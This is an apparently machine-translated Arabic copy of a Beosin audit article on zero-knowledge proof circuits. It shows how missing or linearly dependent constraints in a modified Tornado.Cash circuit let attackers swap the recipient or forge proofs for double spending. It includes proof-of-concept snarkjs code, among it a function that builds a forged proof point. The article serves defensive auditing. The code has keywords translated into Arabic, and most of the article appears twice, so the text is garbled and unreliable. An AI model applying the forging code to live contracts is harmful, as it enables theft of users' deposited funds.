مؤلف هذا المقال: خبراء أبحاث الأمن Beosin سايا وبرايس
1 المقدمة
يتكون مشروع ZKP (إثبات المعرفة الصفرية) بشكل أساسي من جزأين: الدوائر خارج السلسلة والعقود المتصلة بالسلسلة، ويتضمن جزء الدائرة التجريد القيد لمنطق الأعمال ومعرفة التشفير الأساسية المعقدة، لذا فإن هذا الجزء صعب بالنسبة لجانب المشروع للتنفيذ، وهي أيضًا صعوبات في تدقيق موظفي الأمن. ** فيما يلي حالة أمنية يمكن تجاهلها بسهولة من قبل أطراف المشروع - "القيود الزائدة عن الحاجة". والغرض من ذلك هو تذكير أطراف المشروع والمستخدمين بالانتباه إلى المخاطر الأمنية ذات الصلة . **
2. هل يمكن حذف القيود الزائدة
عند تدقيق مشاريع ZKP، عادةً ما ترى القيود الغريبة التالية، لكن العديد من أطراف المشروع لا تفهم فعليًا المعنى المحدد، ومن أجل تقليل صعوبة إعادة استخدام الدوائر وتوفير استهلاك الحوسبة خارج السلسلة، قد يتم حذف بعض القيود، وبالتالي تسبب مشاكل أمنية:
قمنا بمقارنة عدد القيود التي تم إنشاؤها قبل وبعد حذف الكود أعلاه، ووجدنا أن وجود أو عدم وجود القيود المذكورة أعلاه في المشروع الفعلي له تأثير ضئيل على العدد الإجمالي لقيود المشروع، لأنه يتم تجاهلها بسهولة بواسطة جانب المشروع التحسين التلقائي.
الغرض الفعلي من الدائرة المذكورة أعلاه هو فقط إلحاق جزء من البيانات بالإثبات، وبأخذ Tornado.Cash كمثال، فإن البيانات الإضافية تشمل: عنوان المستلم، وعنوان المرحل، ورسوم المناولة، وما إلى ذلك، لأن هذه الإشارات لا تؤثر على الحساب الفعلي للدائرة اللاحقة، مما قد يسبب ارتباكاً بين بعض أطراف المشروع الأخرى، وبالتالي إخراجهم من الدائرة، مما يؤدي إلى سرقة معاملات بعض المستخدمين.
فيما يلي سوف نأخذ مشروع معاملة الخصوصية البسيط Tornado.Cash كمثال لتقديم هذا الهجوم، حيث تحذف هذه المقالة الإشارات والقيود ذات الصلة بالمعلومات الإضافية في الدائرة وهي كما يلي:
تضمين "../../../../node_modules/circomlib/circuits/bitify.circom"؛ include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { مُبطل إدخال الإشارة; سر إدخال الإشارة؛ التزام إخراج الإشارة؛ // إخراج الإشارة nullifierHash; التزام المكونHasher = Pedersen(496); // المكون nullifierHasher = Pedersen(248); المكون nullifierBits = Num2Bits(248); مكون SecretBits = Num2Bits(248); nullifierBits.in <== nullifier; SecretBits.in <== Secret; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; التزامHasher.in [i] <== nullifierBits.out [i] ; التزامHasher.in[i + 248] <== SecretBits.out [i] ; } الالتزام <== الالتزامHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// التحقق من تضمين الالتزام الذي يتوافق مع السر والإبطال المحدد في شجرة ميركل الخاصة بالودائع قالب Withdraw(levels) { signal input root; // إدخال الإشارة nullifierHash; التزام إخراج الإشارة؛ // مستلم إدخال الإشارة؛ // عدم المشاركة في أي حسابات // مُرحِّل إدخال الإشارة؛ // عدم المشاركة في أي حسابات // رسوم إدخال الإشارة؛ // عدم المشاركة في أي حسابات // استرداد مدخلات الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ // مسار إدخال الإشارةElements [levels] ; // مسار إدخال الإشارةIndices [levels] ; تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // شجرة المكونات = MerkleTreeChecker(levels); // Tree.leaf <== hasher.commitment; // Tree.root <== root; // for ( i = 0; i <levels; i++) { // Tree.pathElements [i] <== pathElements [i] ; // Tree.pathIndices [i] <== pathIndices [i] ; // } // أضف إشارات مخفية للتأكد من أن التلاعب بالمستلم أو الرسوم سيؤدي إلى إبطال إثبات التسلل // على الأرجح ليس مطلوبًا، لكن من الأفضل البقاء على الجانب الآمن ويتطلب الأمر قيدين فقط // المربعات موجودة يستخدم لمنع المحسن من إزالة تلك القيود // إشارة المتلقيSquare؛ // رسوم الإشارةSquare؛ // مرحل الإشارةSquare؛ // إشارة استرداد مربع؛ // المتلقي مربع <== المتلقي * المتلقي؛ //feeSquare <==fee *fee; // RelayerSquare <== Relayer * Relayer؛ // RefundSquare <== Refund * Refund;}component main = Withdraw(20);
لتسهيل الفهم، تحذف هذه المقالة الأجزاء المتعلقة بالتحقق من Merkle Tree وnullifierHash في الدائرة، كما توضح أيضًا عنوان المستفيد والمعلومات الأخرى. في العقد الموجود على السلسلة الذي تم إنشاؤه بواسطة هذه الدائرة، تستخدم هذه المقالة عنوانين مختلفين للتحقق في نفس الوقت، ويمكن العثور على أن كلا العنوانين المختلفين يمكنهما اجتياز عملية التحقق:
ولكن عند إضافة الكود التالي إلى قيود الدائرة، يمكن العثور على أن عنوان المستلم المحدد في الدائرة فقط يمكنه اجتياز عملية التحقق:
متلقي إدخال الإشارة؛ // عدم المشاركة في أي مرحل إدخال إشارة حسابية؛ // عدم المشاركة في أي رسوم إدخال إشارة حسابية؛ // عدم المشاركة في أي استرداد لمدخلات الإشارة الحسابية؛ // عدم المشاركة في أي حسابات إشارة المتلقيSquare;signalfeSquare;signal RelayerSquare;signal RefundSquare;recipientSquare <== المتلقي * المتلقي;recipientSquare <== المتلقي * المتلقي;feeSquare <== رسوم * رسوم;relayerSquare <== Relayer * Relayer ;refundSquare <== استرداد * استرداد;
لذلك، عندما لا يكون الدليل مرتبطًا بالمستلم، يمكن العثور على أنه يمكن تغيير عنوان المستلم حسب الرغبة ويمكن التحقق من إثبات zk، ثم عندما يريد المستخدم سحب الأموال من مجمع المشروع، قد يتعرض للسرقة من قبل إم إي في. فيما يلي مثال على هجوم MEV الأمامي على تطبيق DApp لتداول الخصوصية:
3. طريقة خاطئة لكتابة القيود الزائدة
بالإضافة إلى ذلك، هناك خطأان شائعان في الكتابة في الدائرة، مما قد يؤدي إلى هجمات إنفاق مزدوج أكثر خطورة: أحدهما هو أن إشارة الإدخال مضبوطة في الدائرة، ولكن الإشارة غير مقيدة، والآخر هو أن أحدهما من القيود المتعددة على الإشارة وجود اعتماد خطي بينها. يوضح الشكل أدناه عمليات الحساب الشائعة للإثبات والتحقق لخوارزمية Groth16:
يقوم Prover بإنشاء دليل إثبات π = ( [A] 1, [C] 1, [B] 2)::
بعد أن يتلقى المدقق الدليل π[A, B, C]، يقوم بحساب معادلة التحقق التالية. إذا تم تأسيسها، يمر التحقق، وإلا فشل التحقق:
3.1 الإشارة لا تشارك في القيود
إذا كانت الإشارة العامة Zi ليس لها أي قيود في الدائرة، فبالنسبة لقيدها j، تكون قيمة الصيغة التالية دائمًا 0 (حيث rj هي قيمة التحدي العشوائي التي يحتاج برنامج Verifier إلى Prover لحسابها):
في الوقت نفسه، هذا يعني أنه بالنسبة لـ Zi، فإن أي x له الصيغة التالية:
ولذلك فإن التعبير التالي في معادلة التحقق يتعلق بالإشارة x:
حيث أن معادلة التحقق هي كما يلي:
يمكن العثور على أنه بغض النظر عن القيمة التي يأخذها Zi، فإن نتيجة هذا الحساب تكون دائمًا 0.
تعدل هذه المقالة دائرة Tornado.Cash على النحو التالي. يمكنك أن ترى أن الدائرة تحتوي على مستلم إشارة دخل عام واحد و3 إشارات خاصة جذر وإبطال وسر. ليس لدى المستلم أي قيود في الدائرة:
سحب القالب (المستويات) {جذر إدخال الإشارة؛ التزام إخراج الإشارة؛ متلقي إدخال الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment;} المكون الرئيسي {public [recipient] }= سحب(20);
سيتم اختبار هذه المقالة على الإصدار 0.7.0 من مكتبة snarkjs الأحدث، وسيتم حذف رمز القيد الضمني الخاص بها لتوضيح تأثير هجوم الإنفاق المزدوج عندما لا تكون هناك إشارة قيد في الدائرة، رمز EXP الأساسي هو كما يلي:
يمكنك أن ترى أن كلا البراهين التي تم إنشاؤها اجتازت عملية التحقق:
3.2 قيود الاعتماد الخطي
سحب القالب (المستويات) {جذر إدخال الإشارة؛ // إدخال الإشارة nullifierHash; التزام إخراج الإشارة؛ متلقي إدخال الإشارة؛ // عدم المشاركة في أي مرحل إدخال إشارة حسابية؛ // عدم المشاركة في أي رسوم إدخال إشارة حسابية؛ // عدم المشاركة في أي حسابات // استرداد مدخلات الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ // مسار إدخال الإشارةElements [levels] ; // مسار إدخال الإشارةIndices [levels] ; تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment; مربع إدخال الإشارة؛ // المتلقي مربع <== المتلقي * المتلقي؛ //feeSquare <==fee fee; // RelayerSquare <== Relayer * Relayer؛ // RefundSquare <== Refund * Refund؛ 35 * مربع === (2مستلم + 2*مرحل + رسوم + 2) * (مرحل + 4);}المكون الرئيسي {عام [مستلم,مربع]}= سحب(20);
قد تؤدي الدائرة المذكورة أعلاه إلى هجوم الإنفاق المزدوج، رمز EXP الأساسي المحدد هو كما يلي:
بعد تعديل جزء من كود المكتبة، قمنا باختباره على الإصدار 0.7.0 من snarkjs، وأظهرت النتائج أن كلا من البراهين المزيفة التالية يمكن أن تجتاز عملية التحقق:
publicsingnal1 + إثبات1
publicsingnal2 + إثبات2
4 إصلاحات
4.1 كود المكتبة zk
في الوقت الحالي، ستضيف بعض مكتبات zk الشائعة، مثل مكتبة snarkjs، ضمنيًا بعض القيود إلى الدائرة، مثل القيد الأبسط:
الصيغة المذكورة أعلاه صحيحة دائمًا من الناحية الرياضية، لذلك بغض النظر عن قيمة الإشارة الفعلية وتلبية أي قيود، يمكن إضافتها بشكل ضمني وموحد إلى الدائرة بواسطة رمز المكتبة أثناء الإعداد. بالإضافة إلى ذلك، فإن القيود المربعة في القسم الأول هي المستخدمة في الدائرة. وهو نهج أكثر أمانا. على سبيل المثال، يضيف snarkjs ضمنيًا القيود التالية عند إنشاء zkey أثناء الإعداد:
الدائرة 4.2
عندما يقوم طرف المشروع بتصميم الدائرة، نظرًا لأن مكتبة zk التابعة لجهة خارجية المستخدمة قد لا تضيف قيودًا إضافية أثناء الإعداد أو التجميع، ** نوصي بأن يحاول طرف المشروع التأكد من سلامة القيود على مستوى تصميم الدائرة والتحكم الصارم القيود الموجودة في الدائرة، جميع الإشارات مقيدة قانوناً لضمان السلامة، مثل قيد المربع الموضح سابقاً. **
شاهد النسخة الأصلية
قد تحتوي هذه الصفحة على محتوى من جهات خارجية، يتم تقديمه لأغراض إعلامية فقط (وليس كإقرارات/ضمانات)، ولا ينبغي اعتباره موافقة على آرائه من قبل Gate، ولا بمثابة نصيحة مالية أو مهنية. انظر إلى إخلاء المسؤولية للحصول على التفاصيل.
يجب قراءته لأطراف مشروع ZKP: تدقيق الدائرة - هل القيود الزائدة زائدة عن الحاجة حقًا؟
مؤلف هذا المقال: خبراء أبحاث الأمن Beosin سايا وبرايس
1 المقدمة
يتكون مشروع ZKP (إثبات المعرفة الصفرية) بشكل أساسي من جزأين: الدوائر خارج السلسلة والعقود المتصلة بالسلسلة، ويتضمن جزء الدائرة التجريد القيد لمنطق الأعمال ومعرفة التشفير الأساسية المعقدة، لذا فإن هذا الجزء صعب بالنسبة لجانب المشروع للتنفيذ، وهي أيضًا صعوبات في تدقيق موظفي الأمن. ** فيما يلي حالة أمنية يمكن تجاهلها بسهولة من قبل أطراف المشروع - "القيود الزائدة عن الحاجة". والغرض من ذلك هو تذكير أطراف المشروع والمستخدمين بالانتباه إلى المخاطر الأمنية ذات الصلة . **
2. هل يمكن حذف القيود الزائدة
عند تدقيق مشاريع ZKP، عادةً ما ترى القيود الغريبة التالية، لكن العديد من أطراف المشروع لا تفهم فعليًا المعنى المحدد، ومن أجل تقليل صعوبة إعادة استخدام الدوائر وتوفير استهلاك الحوسبة خارج السلسلة، قد يتم حذف بعض القيود، وبالتالي تسبب مشاكل أمنية:
قمنا بمقارنة عدد القيود التي تم إنشاؤها قبل وبعد حذف الكود أعلاه، ووجدنا أن وجود أو عدم وجود القيود المذكورة أعلاه في المشروع الفعلي له تأثير ضئيل على العدد الإجمالي لقيود المشروع، لأنه يتم تجاهلها بسهولة بواسطة جانب المشروع التحسين التلقائي.
الغرض الفعلي من الدائرة المذكورة أعلاه هو فقط إلحاق جزء من البيانات بالإثبات، وبأخذ Tornado.Cash كمثال، فإن البيانات الإضافية تشمل: عنوان المستلم، وعنوان المرحل، ورسوم المناولة، وما إلى ذلك، لأن هذه الإشارات لا تؤثر على الحساب الفعلي للدائرة اللاحقة، مما قد يسبب ارتباكاً بين بعض أطراف المشروع الأخرى، وبالتالي إخراجهم من الدائرة، مما يؤدي إلى سرقة معاملات بعض المستخدمين.
فيما يلي سوف نأخذ مشروع معاملة الخصوصية البسيط Tornado.Cash كمثال لتقديم هذا الهجوم، حيث تحذف هذه المقالة الإشارات والقيود ذات الصلة بالمعلومات الإضافية في الدائرة وهي كما يلي:
تضمين "../../../../node_modules/circomlib/circuits/bitify.circom"؛ include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { مُبطل إدخال الإشارة; سر إدخال الإشارة؛ التزام إخراج الإشارة؛ // إخراج الإشارة nullifierHash; التزام المكونHasher = Pedersen(496); // المكون nullifierHasher = Pedersen(248); المكون nullifierBits = Num2Bits(248); مكون SecretBits = Num2Bits(248); nullifierBits.in <== nullifier; SecretBits.in <== Secret; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; التزامHasher.in [i] <== nullifierBits.out [i] ; التزامHasher.in[i + 248] <== SecretBits.out [i] ; } الالتزام <== الالتزامHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// التحقق من تضمين الالتزام الذي يتوافق مع السر والإبطال المحدد في شجرة ميركل الخاصة بالودائع قالب Withdraw(levels) { signal input root; // إدخال الإشارة nullifierHash; التزام إخراج الإشارة؛ // مستلم إدخال الإشارة؛ // عدم المشاركة في أي حسابات // مُرحِّل إدخال الإشارة؛ // عدم المشاركة في أي حسابات // رسوم إدخال الإشارة؛ // عدم المشاركة في أي حسابات // استرداد مدخلات الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ // مسار إدخال الإشارةElements [levels] ; // مسار إدخال الإشارةIndices [levels] ; تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // شجرة المكونات = MerkleTreeChecker(levels); // Tree.leaf <== hasher.commitment; // Tree.root <== root; // for ( i = 0; i <levels; i++) { // Tree.pathElements [i] <== pathElements [i] ; // Tree.pathIndices [i] <== pathIndices [i] ; // } // أضف إشارات مخفية للتأكد من أن التلاعب بالمستلم أو الرسوم سيؤدي إلى إبطال إثبات التسلل // على الأرجح ليس مطلوبًا، لكن من الأفضل البقاء على الجانب الآمن ويتطلب الأمر قيدين فقط // المربعات موجودة يستخدم لمنع المحسن من إزالة تلك القيود // إشارة المتلقيSquare؛ // رسوم الإشارةSquare؛ // مرحل الإشارةSquare؛ // إشارة استرداد مربع؛ // المتلقي مربع <== المتلقي * المتلقي؛ //feeSquare <==fee *fee; // RelayerSquare <== Relayer * Relayer؛ // RefundSquare <== Refund * Refund;}component main = Withdraw(20);
لتسهيل الفهم، تحذف هذه المقالة الأجزاء المتعلقة بالتحقق من Merkle Tree وnullifierHash في الدائرة، كما توضح أيضًا عنوان المستفيد والمعلومات الأخرى. في العقد الموجود على السلسلة الذي تم إنشاؤه بواسطة هذه الدائرة، تستخدم هذه المقالة عنوانين مختلفين للتحقق في نفس الوقت، ويمكن العثور على أن كلا العنوانين المختلفين يمكنهما اجتياز عملية التحقق:
ولكن عند إضافة الكود التالي إلى قيود الدائرة، يمكن العثور على أن عنوان المستلم المحدد في الدائرة فقط يمكنه اجتياز عملية التحقق:
متلقي إدخال الإشارة؛ // عدم المشاركة في أي مرحل إدخال إشارة حسابية؛ // عدم المشاركة في أي رسوم إدخال إشارة حسابية؛ // عدم المشاركة في أي استرداد لمدخلات الإشارة الحسابية؛ // عدم المشاركة في أي حسابات إشارة المتلقيSquare;signalfeSquare;signal RelayerSquare;signal RefundSquare;recipientSquare <== المتلقي * المتلقي;recipientSquare <== المتلقي * المتلقي;feeSquare <== رسوم * رسوم;relayerSquare <== Relayer * Relayer ;refundSquare <== استرداد * استرداد;
لذلك، عندما لا يكون الدليل مرتبطًا بالمستلم، يمكن العثور على أنه يمكن تغيير عنوان المستلم حسب الرغبة ويمكن التحقق من إثبات zk، ثم عندما يريد المستخدم سحب الأموال من مجمع المشروع، قد يتعرض للسرقة من قبل إم إي في. فيما يلي مثال على هجوم MEV الأمامي على تطبيق DApp لتداول الخصوصية:
3. طريقة خاطئة لكتابة القيود الزائدة
بالإضافة إلى ذلك، هناك خطأان شائعان في الكتابة في الدائرة، مما قد يؤدي إلى هجمات إنفاق مزدوج أكثر خطورة: أحدهما هو أن إشارة الإدخال مضبوطة في الدائرة، ولكن الإشارة غير مقيدة، والآخر هو أن أحدهما من القيود المتعددة على الإشارة وجود اعتماد خطي بينها. يوضح الشكل أدناه عمليات الحساب الشائعة للإثبات والتحقق لخوارزمية Groth16:
يقوم Prover بإنشاء دليل إثبات π = ( [A] 1, [C] 1, [B] 2)::
بعد أن يتلقى المدقق الدليل π[A, B, C]، يقوم بحساب معادلة التحقق التالية. إذا تم تأسيسها، يمر التحقق، وإلا فشل التحقق:
3.1 الإشارة لا تشارك في القيود
إذا كانت الإشارة العامة Zi ليس لها أي قيود في الدائرة، فبالنسبة لقيدها j، تكون قيمة الصيغة التالية دائمًا 0 (حيث rj هي قيمة التحدي العشوائي التي يحتاج برنامج Verifier إلى Prover لحسابها):
في الوقت نفسه، هذا يعني أنه بالنسبة لـ Zi، فإن أي x له الصيغة التالية:
ولذلك فإن التعبير التالي في معادلة التحقق يتعلق بالإشارة x:
حيث أن معادلة التحقق هي كما يلي:
يمكن العثور على أنه بغض النظر عن القيمة التي يأخذها Zi، فإن نتيجة هذا الحساب تكون دائمًا 0.
تعدل هذه المقالة دائرة Tornado.Cash على النحو التالي. يمكنك أن ترى أن الدائرة تحتوي على مستلم إشارة دخل عام واحد و3 إشارات خاصة جذر وإبطال وسر. ليس لدى المستلم أي قيود في الدائرة:
سحب القالب (المستويات) {جذر إدخال الإشارة؛ التزام إخراج الإشارة؛ متلقي إدخال الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment;} المكون الرئيسي {public [recipient] }= سحب(20);
سيتم اختبار هذه المقالة على الإصدار 0.7.0 من مكتبة snarkjs الأحدث، وسيتم حذف رمز القيد الضمني الخاص بها لتوضيح تأثير هجوم الإنفاق المزدوج عندما لا تكون هناك إشارة قيد في الدائرة، رمز EXP الأساسي هو كما يلي:
وظيفة غير متزامنة groth16_exp() { Let inputA = "7"; دع الإدخالB = "11"; دع الإدخالC = "9"; Let inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; انتظر newZKey( draw2.r1cs, powerOfTau28_hez_final_14.ptau, draw2_0000.zkey, ) انتظار المنارة( draw2_0000.zkey, draw2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f1011121314151617" 18191a1b1c1d1e1f"، 10، ) const VerificationKey = انتظار ExportVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") Let { إثبات, publicSignals } = انتظار groth16FullProve({ root: inputA, nullifier: inputB, Secret: inputC, المستلم: inputD }, "withdraw2 .wasm"، "withdraw2_final.zkey")؛ console.log("publicSignals"، publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") تحقق (publicSignals، إثبات)؛ publicSignals [1] = "4" console.log("publicSignals"، publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") Verify(publicSignals,proof);}
يمكنك أن ترى أن كلا البراهين التي تم إنشاؤها اجتازت عملية التحقق:
3.2 قيود الاعتماد الخطي
سحب القالب (المستويات) {جذر إدخال الإشارة؛ // إدخال الإشارة nullifierHash; التزام إخراج الإشارة؛ متلقي إدخال الإشارة؛ // عدم المشاركة في أي مرحل إدخال إشارة حسابية؛ // عدم المشاركة في أي رسوم إدخال إشارة حسابية؛ // عدم المشاركة في أي حسابات // استرداد مدخلات الإشارة؛ // عدم المشاركة في أي مُبطل لإدخال الإشارة الحسابية؛ سر إدخال الإشارة؛ // مسار إدخال الإشارةElements [levels] ; // مسار إدخال الإشارةIndices [levels] ; تجزئة المكون = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== Secret; الالتزام <== hasher.commitment; مربع إدخال الإشارة؛ // المتلقي مربع <== المتلقي * المتلقي؛ //feeSquare <==fee fee; // RelayerSquare <== Relayer * Relayer؛ // RefundSquare <== Refund * Refund؛ 35 * مربع === (2مستلم + 2*مرحل + رسوم + 2) * (مرحل + 4);}المكون الرئيسي {عام [مستلم,مربع]}= سحب(20);
قد تؤدي الدائرة المذكورة أعلاه إلى هجوم الإنفاق المزدوج، رمز EXP الأساسي المحدد هو كما يلي:
const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, section: sectionZKey } = انتظار readBinFile("tornadocash_final.zkey"، "zkey"، 2 , 1 << 25, 1 << 23) const buffBasesC = انتظار readSection(fdZKey, sectionZKey, 8) fdZKey.إغلاق() const Curve = انتظار buildBn128(); const الاب = المنحنى.Fr; const G1 = منحنى.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const match_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8); const sGIn = المنحنى.G1.F.n8 * 2 const match_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const line_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( Line_factor، Fr.sub(matching_pub, new_pi)); const p = انتظار منحنى.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAfine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}
بعد تعديل جزء من كود المكتبة، قمنا باختباره على الإصدار 0.7.0 من snarkjs، وأظهرت النتائج أن كلا من البراهين المزيفة التالية يمكن أن تجتاز عملية التحقق:
4 إصلاحات
4.1 كود المكتبة zk
في الوقت الحالي، ستضيف بعض مكتبات zk الشائعة، مثل مكتبة snarkjs، ضمنيًا بعض القيود إلى الدائرة، مثل القيد الأبسط:
الصيغة المذكورة أعلاه صحيحة دائمًا من الناحية الرياضية، لذلك بغض النظر عن قيمة الإشارة الفعلية وتلبية أي قيود، يمكن إضافتها بشكل ضمني وموحد إلى الدائرة بواسطة رمز المكتبة أثناء الإعداد. بالإضافة إلى ذلك، فإن القيود المربعة في القسم الأول هي المستخدمة في الدائرة. وهو نهج أكثر أمانا. على سبيل المثال، يضيف snarkjs ضمنيًا القيود التالية عند إنشاء zkey أثناء الإعداد:
الدائرة 4.2
عندما يقوم طرف المشروع بتصميم الدائرة، نظرًا لأن مكتبة zk التابعة لجهة خارجية المستخدمة قد لا تضيف قيودًا إضافية أثناء الإعداد أو التجميع، ** نوصي بأن يحاول طرف المشروع التأكد من سلامة القيود على مستوى تصميم الدائرة والتحكم الصارم القيود الموجودة في الدائرة، جميع الإشارات مقيدة قانوناً لضمان السلامة، مثل قيد المربع الموضح سابقاً. **